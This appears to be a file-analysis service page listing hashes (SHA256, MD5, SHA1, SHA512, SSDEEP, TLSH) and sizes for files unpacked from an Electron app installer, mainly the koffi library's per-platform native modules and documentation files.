Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\darwin_x64\koffi.node
Size 1.5MB
SHA256 f7ba306880ab40286c4443577fa95c47615111ce0a958442e4eb0a5e83928b67
MD5 0525691d079969b39b9117ff5d98de9b
SHA1 ad2c6ebf3cd8855abdfae8e4cb2a59196f3159fb
SHA512 e757eadf3fd6d1be3807b64651b162082de8d0a098de65bb6eaba2a00e5d01882aaecbb4c2ac7fe7590558b01f3b57f3528303d4cf581513af22a1e0ac9eb0d8
SSDEEP 49152:lhyXrUHhJP+LBoo/DjWqZ9NBczOtAAK2JLP:lhxBsFb/DjWqZ42x
TLSH
T1ED756746A11687CCD24EE2745BB5CA237694BC6733A8DD4CFA4CBBA00772A3D762C51C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\freebsd_arm64\koffi.node
Size 1.5MB
SHA256 4c730af0d6c84f2b88e22b80fb106b7af416deebe9a1c8e8336d6e4b1fce819f
MD5 94a02766197dfdd1c61ce88969678428
SHA1 3e9ddea7546153433a70a7c33fac8c5a509bbb41
SHA512 9b43c54891d8b44a883586dc83bea7514c2881e3571794d3a843433ca0109427431ded4692f3c4b313a14a38daacb1def54402da8a071e71abef644ab46795f5
SSDEEP 12288:6iqP4v1sQJvwUhxN23ooZLXSwLN/TSZqrI80ufwsVfmmRqvL7jxIknSJgd5sh0IC:1xv+QFpcYwrtTWl7jxIknSygh0t
TLSH
T1E665C952A21D4DB0D7E522B4AEB60A1796903C8BF3E04C58DD14E7092FC33B7F94799A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\freebsd_ia32\koffi.node
Size 1.4MB
SHA256 7acaf95d9da7dd4e2c5823be5321dd6cda109c07c1079306c3216d1aa6688f8f
MD5 22cee0f63e7925392fc5b501ef09e2d8
SHA1 8be2c502a827100f6d821e8a6b6c6402d8765e38
SHA512 0037a2a2e0a41e307103c3dac3f819f27b540a083245167162a67178cffca028ede1e0c9b66c302e13d42d4846ec340b1d26603cc977d7465c69e38c169e9a98
SSDEEP 24576:dkbksiORbcZN+HxW6wuQEN4nHlNA8JZxE8TpJ6/zOu6:ds3c+RX6EypJ5u
TLSH
T14265D80AA61D5872C3F696B23077062B64A0390773E94C55EE18EB706BC33B3F575DA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\freebsd_x64\koffi.node
Size 1.5MB
SHA256 ef05047b3ec7fb73e74c96113f67bf878ad74a9e4eaef20ec3f83317460a2bbb
MD5 c9205c1a77f125ca11accef171dc523b
SHA1 327aad5223a49dcae6c92e3b563ae191cc8cdcb8
SHA512 71df48625e32bbde942fb4205bffbbefdfaeb4b79551f15a49f21721034382651ea07fbf1926883f8ab59ff782abb751e0513b3abe7cd5900289fb0ebd918f18
SSDEEP 24576:SXXdAHLip6jXSRpj5yKdkjivM9lWg6bqp:CZyXwj5peivM9lWg6W
TLSH
T1EE75CE46A3194AB0E3ED51703FF646276490788B33F89C59CE18DB502FC33BBA96D958
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\linux_arm64\koffi.node
Size 1.5MB
SHA256 da394ea5d8f28cf8e90c6b1bbc3f35485adb24f36dc36265806967213c235a50
MD5 5d5558b0c0610a5375177f8edb7d044e
SHA1 f1f5e3189dfddfbbeca3cc35983d2910aab0c8f5
SHA512 7f5a54e63952db226895312e17f165f9fbd12e92aad8de73c7c6ef639536244d6e465c9eaa1bcba49ccbb3d89850c6c97d38ad01a05fda92af9a991909e80a0b
SSDEEP 12288:eUBzg2qCZqrI8mKdk2rQz8kWPC55ocHV2G9cMtYyOxwc0NtKemPS9a9cX8+b5NAX:ebrOKsH8cHV2GfROxwcIso8UU
TLSH
T1F5750B42721D46B4D3E6A63832B58E275CD47D4FB2D04C64EEA507482FC33B73E6A896
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\linux_armhf\koffi.node
Size 1.2MB
SHA256 5ece8a66d2ec7eed61da4d294c834b40c7631868a0e1b9ce45649e9c4df81ce3
MD5 a5a0f8952745d4c644af0fdc93b32a53
SHA1 66414b9a1d1757015b923719b2c03b1b3a7d4b40
SHA512 c676af51b65f2dee19b4d2f33120257bceacae2fc80d411d3a645ca7d5049346888abdeff0cf71da13b870ab788d378a7ed05e0848ddaa4275ae1cbc9076e993
SSDEEP 12288:VUtzg28jMRGXtavob61Z7PUZkV8ModtGWVwfpW1RJMsaMGSugEhMh7skUZb55ulg:VUGdjMRCBb6rM5RUsgSXZBUZb5QlkJ
TLSH
T16D55F962625E2674C3F61A34713B96272CD03E4732E54CA8ED24B7248BC33B779B6D94
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\linux_ia32\koffi.node
Size 1.5MB
SHA256 f5d7732a3a9d890ce184855399907c85fd86f0ea8a2ed2fb846534059de1181f
MD5 83fff7ebbac35d3cc4db72981350c9a3
SHA1 4bf007bd38e1c805465acd997cb405f4da39cb8f
SHA512 4b5ea7ed9c3b703d0e80e9bd0fb49aca02b01ec5f20f0ce11fb2e4708a6ab8ad65232c89d7da13f5a72c2bb50f76950394e1ab0367377efeb8a4c6cf4dd32514
SSDEEP 12288:K6EebGI90zg2qi9MHxWEpwuN957dNnjlibdlnUP8FTAr3bu/ROI/J1JQ7KBmP/fK:K6hL9HxW6wuN957XhirRu7B/pP8Ydb
TLSH
T12A651D96A2594672E3F216B33276872724D03D0373E96C54ED98A7603BC33B37976CA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\linux_loong64\koffi.node
Size 1.4MB
SHA256 31a7add40a525c65be33ee30a771f447b0b1d60ba83b3e502439ccf69a08b3df
MD5 a690052d131f06b796b013bb8c4a6fc3
SHA1 fdd926e4e0afad9c4120520e3267b51915e5bac4
SHA512 01f65f33255497ab5aad56fcc0d29ef3ca5edb790cb94bd444f8ae23066a35eaeefd79f556ced07003f9b8cb4eb32614c447364b8629308472f4b332be5beb27
SSDEEP 12288:VDmPYTzg2x6efVY6AB/GD388V3DEdeimM5nsw3GlPe8hm/Em:Fmgg9efVY2DdV3DEcxe8o
TLSH
T1CB65A40B6BD90DF0D3E5163421B607172394BE1732E09EB6DD5897002FC37AB3E55AAA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\linux_riscv64d\koffi.node
Size 1.2MB
SHA256 26c7a6fd6962fef8ca5fdcd5a6956e9758a2d652822bd3ef4c9c04e4725c06d0
MD5 dc9690b2303476fb5207999660911299
SHA1 7d8affa230b9784f7abec1abaceb7c6ffaee07d1
SHA512 48985fab13d165afa44fbebcee9bbb66c42d6423febf0cb7cccbc4f532ef2b8ad32077b6c7c180d1073a0c6f5833bd5805ba3f260008edfb266fed3ab6fb5072
SSDEEP 12288:UpUzg26MvXeeeeCCCCChQuICsbGea8jtD4y+:UrbM/eeeeCCCCChQuxmD
TLSH
T1AF5592227A5D06B1CBFA1A74B1B60B1323D1BC1B75E11E149E3447906FC73B73E52AA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\linux_x64\koffi.node
Size 1.5MB
SHA256 ecc61aa265a56b99182c648e56a91e4c60bf3c7e542efaca93dfdb0452e03330
MD5 4098ecbbde7fd95e02b2be55841aaf68
SHA1 b89e85e6bd5e9fa35a643face65243680a3c9060
SHA512 337a5da13b555a18d00390cbbd3d5e8b20f922b536f5bb0f5651d3585ca3e254500b06c82081beda60e518411bee64ae48ab52c015b44c5546115f70ceaa52ca
SSDEEP 24576:fDhQaGzh1hSQLn/Ttcq+yFLyoWnoxUlkSVX:raakh1fLnBcq+yFKnoxUyS
TLSH
T10B75F306A31906B4E7FEA9702779CA2B24D2380772F48D1CEE299B502FD33772B5D954
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\musl_arm64\koffi.node
Size 1.6MB
SHA256 6cbff8fcc93c19874ffe68668ab806b933f1f1f98f2a18d399964c7bd81c939a
MD5 e4c29350db6c2acd10b5699e630326df
SHA1 c23f26332e839c6bc0a8482728fb8edcb13107ba
SHA512 528b6f0ce88921d4cb52262ac7fcb4cf78d7215c642e4e09f432614031eaac1309f615dcde55342461f48f92e31ac18b1933a769e7c6f5dd908429fabf235605
SSDEEP 12288:r/Dlzg22GiJ+YCoZqrI84yPU6UmjjE3rj0AvoPKwD2QazdbBwI5jYyxuohi7Ue5w:mm1NP9YAilog1
TLSH
T1F6751C50921D05B0DFF62A377AB58E2751D13D8BB2E84D54EE140708EBC33BB7A61B1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\musl_x64\koffi.node
Size 1.5MB
SHA256 53ff9cc831cd1539dc3131e616603df42d6f17ff3a836a5e2d72adc0c99a6606
MD5 541264da97f914f91657ac85d04112e0
SHA1 40d7bf146c8230d422cc92d81174e496a231efd0
SHA512 c61d70a9f1aea9eb9e576270cb5850ee0ddf17e57d214a8ca91c59a2836049a8945212c61771797b823245a637e30a43702c90029d473434eca6ad0d3260e356
SSDEEP 12288:7qUgqM8Pzg2KiHekC4SsznGAZNdlZhSzluE1KkHZftF4C+8sJ7uKWT84Q20xdBCP:OUc8sjtGzh1hSQ8Br+L7uSHNB8/
TLSH
T19E65C8019A5945B8C3FE993426B58A1727A03D0373F81D68ED58AB502BC373B3F76E58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\openbsd_ia32\koffi.node
Size 1.4MB
SHA256 bc3b558da1ab1180dc3279b1349aac9ac569e92a8de30e28ca78199560aca8b0
MD5 a74a4876e836c585a297e2e060a1dbf3
SHA1 ace49beb1e497b4d44b9d334ce183861bf45d542
SHA512 314e4d29eb9f7988607e53681ea2cfb37b1428cd6f6f0070437398ca4d8325351f39d5123f0b01c909be5a6f1d6e956e88a9ff30e7e5c8139da72cdced11cdb0
SSDEEP 24576:azTU+tb8guJQDqvHxW6wu42+5zJ7CQ7V7h:GgMJ+Q2RX0
TLSH
T14D65F809961D5876D3F626B235B6162B2CA03D0773E84C96EE68EBB063C33737475D28
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\openbsd_x64\koffi.node
Size 1.5MB
SHA256 be1f117f36f420608e34be5db430f9066e9f73407c339db31960aeb102e9e7a6
MD5 4e33be5d1eb26e9878756c367692938d
SHA1 9d7ad95ebb1d44b34bd74c222c8260e349bed8a0
SHA512 0442018c1718ad01aa458e1e4807411402ae0747f89a118c05ef32b884b847df4d585853437fe039217eed7632b65f6287848ccdfa80c8a92cbbe5f160b0527e
SSDEEP 12288:yP8TfC0zg2o/nFVMOuWuSIIMbzR6HDZkqdXSo3whrSVEj/45DQ4oRPmGdtYtr4zF:yP4UXnFaOvMp6jXSf2c4WmGXYtxG
TLSH
T1F575EF44C20D4AF4C3FDA174BAB545272E943CAB33E99C95DE185B402BC33772A6E91E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.exp

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_arm64\koffi.exp
Size 1KB
SHA256 31e13e095cbf175ee9ae5276324397b014146a04f690f872b1f0f34a5e31beaf
MD5 359c84881db5ff400bea1428cd058585
SHA1 027ee66dafb903ac8eb211d58c05ed40de327c34
SHA512 a5decab79ed3a42a458ff7898331c38737cbf47f5f6c486e955a007c3371c1d42716a3e11f3487f3894b3589b2464a0655aa412041db06bb546ba03d764fdcf0
TLSH
T12B119C4987F0E763F9160738D3C663A9E6F5FFC54F834703428089B22D9AB699480496
MD5 SHA1 SHA512 TLSH

Submit Download

koffi.lib

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_arm64\koffi.lib
Size 2KB
SHA256 95e9fcc922bda6a01dd9a163827c1be07fba2ab00bb6818674b349ccbe1ec3fc
MD5 379b0e095b9dd0751ac454faae9c091f
SHA1 4ddc112ad139c9b70a25625a37fb2838eb1e8a66
SHA512 9751728b7cd4c19601238eff682d2c79e070275b25c1bc3a03dcb340ca5119d93e88e499bf4c53480bea638f059d3bb31bbe11f0d753a7e37725b3a0362f2ad6
TLSH
T1F741D359CEB2D457D52DC238B1C2D6D4E5BC21C917036FBF7E8C08E06F96B58A1C146A
MD5 SHA1 SHA512 TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_arm64\koffi.node
Size 1.3MB
SHA256 5a04ca448b37cfcf9a9327be8fae7624053b3d2a46c5dcca4ed3689df33400dd
MD5 ae0a3d1083504f53d551542d416a9cd3
SHA1 dafb5e9618236e7c81aa4007b8895da9b7eefac8
SHA512 bf252b1fa41c56288b7b89c625a1ede78c889a43c06742b6ab63b64a3a8f8668113f39e6beaf9231e58777f7d34f9751868c5111a889ffdb179e5a0b0aa22942
SSDEEP 12288:OBlaeQe3ERY7qDnOx543xq74boAtoZLevhjPRn22/dOt+xSgGaAB+ckh2JbeHP:Kt3m8AOcxq74boAtoZLc0E2JKP
TLSH
T17D657D60FECFAC55D2C6D37D9DA3C692A4BF79558720C1AB3502021FDCEBBC09256262
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.exp

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_ia32\koffi.exp
Size 1KB
SHA256 061cac6635fb6424ccda30c5e1f0d92cfb7b20ceecbfaf110a35d8214737079a
MD5 fc57d78b09b09167fe727aad898500c9
SHA1 20a242b3f7b738481ab9b348db20c02d2c6d5afa
SHA512 1d8aaa96aedf76f85ac5994b3193f00b5567b6139cafabbc9ce9ee56ad3c66dd2aac31ab8d1e59fe01b4f0cc0c65f5d3d414191d7d998804f8e03dcc354053fb
TLSH
T11311C444C2E4DF03E919053DE2C253D4E7F4EFC5DFC24702434414962D5AB99A9C0465
MD5 SHA1 SHA512 TLSH

Submit Download

koffi.lib

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_ia32\koffi.lib
Size 2KB
SHA256 2c599c527797d56c69ee161aeac041b98fd850fc6ef6b8bd2b52148897619f99
MD5 133b8141f51f791c15b89b73dc9ebf45
SHA1 d00e943c72d5fb397f7076f08d75f7fdbacc7b1d
SHA512 8298533c3701a3f35b9c6c8777b7659bab2c4383e806d1f94e795a851250d0cc496bb6ba0064dab09a860a18bb65c8be126b4c5d8529d1959596a47f2bc8d256
TLSH
T13641AF598DE1C957E52DC23CB1C1A6D4EAFC30DA2B026F7F3E8C04E05BD6A5CA18142E
MD5 SHA1 SHA512 TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_ia32\koffi.node
Size 1002KB
SHA256 af700e05e2578e3062917248fd5cb3a2cfdb209e2aeedf157b072534d0e884c7
MD5 aba788b761a5ccca01bcbf1dabd1f38c
SHA1 df9e25e7ef062548ac4eeabf36daa325c8d2c39e
SHA512 d59409eba2412df4b3aed94d8d9077725d094287ad074ac1b47007a474ef824cb0fe5957f451bc20de8f8a26680bce06282dbfc3027a858f930bb5fc7a6dc88a
SSDEEP 6144:dDZVpdphna1sItLyTI8hiihWokECR9gPOGPqv87B0NwlcfY2UpaRuHYffo6zn2U2:Z94ee4YmWo6WhPqv89uwl0rh2JbV
TLSH
T1FB258D217601C037E15804779CB8EAFA7668A8310BAC48C7BBDC1BFE55646F26739336
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.exp

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_x64\koffi.exp
Size 1KB
SHA256 ba68b3d4f5ded3101fb3248061e0c229a4d6dfb96e8487354ba877cb16908af2
MD5 41c8ab2e1b850663f54b907dcb4df98d
SHA1 5facaea3f97256f474eba4ce33336c9ff9380b2f
SHA512 d51370c86a8fe8d0d54561e7b7dfcc32e66213f5b5687ab15d7cb8a12ad24586acbb46883adf41f150331a079cc3fa33e3f0ec3b7fdbab115393aa1dbc4e8c0f
TLSH
T11A11C049C7E0DA13FA16053CE3C66795E6D5FFC1CF81470207C149922D8BFA9D580466
MD5 SHA1 SHA512 TLSH

Submit Download

koffi.lib

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_x64\koffi.lib
Size 2KB
SHA256 5d9d9c318d33edab02db8858d5345141aa2f7863dd7f3e0949217be07847c1a7
MD5 8d89b3ee729c0f29f7239a324b9d988c
SHA1 5338f0aab6f1d330dcca8abe7922b70db45c124b
SHA512 5c0e865bd6339f3d3e491a5be4c5ed5f7aad5048547bc0846c81f564a126dc8f755e7ed4c652477126aa22af5c07733310c27c447e50c6987d5e9d37a287d163
TLSH
T1E841D35D8EE2C553D42DC138F1C2E594E5BC31D517026F7F3E8C08D06F96A58E1C146A
MD5 SHA1 SHA512 TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\win32_x64\koffi.node
Size 1.5MB
SHA256 cd9fb878c2e73711e37cf82e60526509a3df361148396dcb3a95b053b582880c
MD5 9b19c3d4529fd231ac217c86192beafb
SHA1 d258c7ec9cbe51648f9eb2ca5d4e20fcb92c6120
SHA512 a747595abd8647e41474f36c564b51ec1d3a7eb2afa9844c4b26992e2a5d365fdc37ee827944ebc029b5ea88649eb62b3ead7cf9342b192db655b7e60cdcdd64
SSDEEP 12288:nzlZYkFrYoBU7A4WONVMhFaBpfmrytFNXrfKh4ICXoEuBN2vo2Jb0afMhpCcSBU3:z7NONVSFsOOt3rKi7oEur2JTk4ytjt7
TLSH
T1AD752715F75981E9C0AED2344F72C716B964E811437E698BD29DFEEC2E025BD903A2F0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

benchmarks.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\benchmarks.md
Size 5KB
SHA256 d10260739b956bd469b2aedd570c92ce9b8db915626510bc3b5fbc302240f581
MD5 7194e5cbe9137bacccad23e7d7b5d492
SHA1 7129a56b086c9815837682ea6df9b087bdc3fc17
SHA512 fc42e51478e2fc9b3fd5406046a20f4d2fbc466ad17cbfa6aacae3b2a05ace3e378769ad7c8f48f74c59b6f14bf2bc35ce5b9ce2a2e06b27f7df11b28a80832f
SSDEEP 96:o+y+s+1+0E8zKqOVAXChVAMHI+QF+7+HBZAdZ8lKqOVAVGRhVAMNg++n+i+LZAiK:pHN40E8znOV6ChVNHJQo7+HBZuZ8lnOk
TLSH
T1EDC176511ED05D3B287AC233B59F81BAFF37928C6B221846B41F046D3B55EF502AF456
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

callbacks.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\callbacks.md
Size 8KB
SHA256 29c28636411bede482b63fab512caaa9a813cd42261a5271d71a7ab4f762ace8
MD5 035c25e077dc186614814bb6e16d2ce7
SHA1 ab91ba3a9a3685a564d84aa1231530807a211715
SHA512 874ed065b2e87601c248410bf6fed123d5f4eb5fe80ea58db194872b72d407d3512b33ee350188e91ff9bc1f4709f474ba50806a9943002f2ad0ed2d131f51dd
SSDEEP 192:SRo/47oMLVLiahoHrG95jSrKySa41jrqDQsGxvqjrlSSl8RFCuTCVFITy51Fbep:zAk/koLsqPl1m
TLSH
T1E4129607635353239CB1B3A3654F67B5A33FC8A9392981C0A44D93A43F5646A9337EEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

contribute.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\contribute.md
Size 5KB
SHA256 542335d52d68bc6f4f7b11499d16e238d888e72ecb0e1abe4d8db028adfe5e99
MD5 5ad740c9b16590d9b8167b14745f7ef7
SHA1 da52c9efef38ce2c0c3fb23c677990c3e5b60f6e
SHA512 b1d7abb160b272d82443983c174b32cab161f8c32a89481f81cf79df992514063e49370c71c8fd582cebadb5ac26f6ecab0891cea15809cfaf25a45e9b24aadf
SSDEEP 96:A08TEwY5HtuJIdIWuGT9yv+sqyv+HQvBtU1SNFZDm40NleCbaSpPu:A0w9Y7NamqmHQJtUCLDpAeCbaSs
TLSH
T162B1D77763055376276101A2754A73F6D37FC17E27D881ABD8BC043C835AA6680FB8E0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

functions.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\functions.md
Size 9KB
SHA256 59442e4bdb502bf22e1207afa75e38983b837d7b68f890387f9e30bb53976ba9
MD5 9870daf7c85d2ee505f7187f1070128f
SHA1 89ae7a603f8b1a05a453054612095385bf1d3a31
SHA512 678491f0672e402976e050027ee234787da533ebf64fa4b6822b6e5836eeace8c3cc4baa95c10e57fd2371ca7eba4ac9cf74375dd920489658e81f01c116cf40
SSDEEP 192:XjTZRkLD2uonwty1T7Vlo/0UI+09qrmQSDyMNFbzSnUITwrwKozIbLNtjEz:3ZR1wtYn/oF0kCtzNFq5UwBEHNtjEz
TLSH
T1A912B7063F42A3A5E1F3A2B1B20F65BEE23EC86531725081749D47A42F2A4AD117FD9D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\index.md
Size 3KB
SHA256 8c6ff4962fd18478d07a474d3fc9e7d9a8c9ec2180e6b78adf434463f4dadcff
MD5 6a1345c55748439a3fb25ac3ca4ebc5c
SHA1 98324f0e280b44b592f76fdd6624c4b83e8b579a
SHA512 6d3e1626caeb5dabd23419b4de2a8fb544051df0148b73b73035b7ad01249906365cc7710d24b57fcda0a2908e7cb54c9bdc8b795a10fa3ec0d32ce20913add8
TLSH
T1597195379D81AA6A0FB2E3F37A47268BFE078ABE65126549F02F010C576046601BF259
MD5 SHA1 SHA512 TLSH

Submit Download

input.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\input.md
Size 16KB
SHA256 be0569a396cb33e70d7f95edfe7a0957669566694c75cf87212c0881e3bf4adf
MD5 24c3c0be29f481f7f4c33366c4a5fd1d
SHA1 037c010c2f8e0a5091e0a6b17b545b84d971597a
SHA512 62fdb3d44dd1ce76ba5ef515631531e72db1e85c4e92bad2d58b570855bf0c51792c70bb3b8f174defaae9febde99a5a51f7dde7c11f5df7e0f575e94879ba25
SSDEEP 384:V1+vFwVFzgr5Wna9C/DwYl+vd3cDqEUziLIG:H+vykr5Wn4C/EnVspUzE
TLSH
T10172B5472EA1D2745472C2A2A24FA0A2FA24406F33D94AD4345F65383F07AADD2BD7DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

migration.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\migration.md
Size 4KB
SHA256 3c5ef411cc137e194e3bff13243f7d7c7c71da12e09ce4e103f79ba79906ca90
MD5 828a7094f4a463c5262999d45a891340
SHA1 717c7e2e6613b12732f42ca1c2e16772db1c4773
SHA512 1fba335bd694d63ac52611bfc5e2abb3c3b7611a51fd3332109d39e9bb4f3113295a1d95bed7c905e3c92545000c3b656a65f34fa976e878912c455b0752ca46
SSDEEP 96:Uy/2lexELVLi1esRqnEoJq7wlevMr8+i8qNrNw5ZK0wW2VmsVlP:J/gLVLipkEeq7l98aAsf
TLSH
T1E8A165637A67C334F8F17282B0826879231ECE6A351EC6806C0853B67FA049C57F5B5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

misc.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\misc.md
Size 6KB
SHA256 09602031dd666662c6024f35dcc5c4a4e74c31b8a18d4aa7e9999c1937d71640
MD5 4c65a708fe693e2b3e22a9cdd8a0a697
SHA1 cba029f9355c5efad82d2d8344595a21c0527266
SHA512 3fb8891578ab255aa7956c4546d35c06a66fc8f6c2818530a3ff07200b2ed6384db5ed946363f2149f904163aebdf0f67eb9a03670c1efba1b1e205704ba8b63
SSDEEP 192:2tdOUYzRaNFe3QKJvS814zadxQ2E+PS+drDT1dskytVSx:UdODz4NFmnZxHn8k2Ax
TLSH
T1D9E1A5437F68C36508B1E3A5B54EA1F5C339D49B33305ED234AC827837158AA527E7AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

output.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\output.md
Size 9KB
SHA256 b92367ccfdca8da935cfb2351240f5599896df152347d0b835e2f348b1175e4d
MD5 6d3b20d19bd38562ba037374308ffe03
SHA1 a6ccac11a04506449151aed7a97fb35585f2ec42
SHA512 cd215f2050ce8fac59fd62c272a5dd965f14c85052086afa28616f15e569c5a81f9d6a78de089fab6c69501311e5cc8f04328ff2f644f9606f7a3fc92c07005d
SSDEEP 192:fPAmTLUanz3E8DrCO/sq18pGkKM3A65rxPxOsTw28y:fImvUanrjDhkq1XIXTIy
TLSH
T12912D9231765A270A46232F1A54FA5FD122AC45631554D807CAD07703FD38BEA2BAFFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

packaging.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\packaging.md
Size 2KB
SHA256 e1bfe8b62b143f5e4ed2ceee11150f9ef802bdf01bd9d84caef419e79efadfe4
MD5 29262f784e20d6e09dcd135f45a387e6
SHA1 36f018d6474063019326a4d0c15844cbf661da99
SHA512 31cdef8578e7d129b428411e8411922f963989db5074810bc22d0f4c1e0042e178a1bcc8d2c33c644872ba485037d8f6b380d6cf6612c9d236c569d96c32521d
TLSH
T1AB51646B675073B6470923E9799919FCD67BC0F94AD815E4389D83543FA10BB00F527C
MD5 SHA1 SHA512 TLSH

Submit Download

platforms.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\platforms.md
Size 2KB
SHA256 02bdc435d62a619fa0b32462b7ed37399471d152c9c9f255ff5b1dcb3d64f923
MD5 c0848753807f53d25a6df58d5fcf5855
SHA1 848512e2cdd30a4611666325d82084c403c8d4ec
SHA512 705167f07b59997deb411814f126c1808c88c229e54120e1c192c05ed06d87cbe91c6a4f33dcd676c8ec51bb727776feef5a02d8221d1eba46f254a9993fd8cb
TLSH
T10041AA1B9F286A3D1FB2E3717B562F87FD9E887E6D13524CF08F110C0B21966416D856
MD5 SHA1 SHA512 TLSH

Submit Download

pointers.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\pointers.md
Size 12KB
SHA256 0952c0bb41f4fdc9f47524d5ec04a094c10939f5b2c7ebf6c775ee519731db82
MD5 7135ff290fa72a79644e64bfe33233df
SHA1 a2c276be3220d95fe36f57f9d01f14b08e858f21
SHA512 9c1346da4c783ddb98e65b19d6fd35a342aab65b8020db9497b80791489edbfdbb2c1303f105d5ee4ceda82e43972ae3267e13fdece6e3289f741dd16cb3b8d0
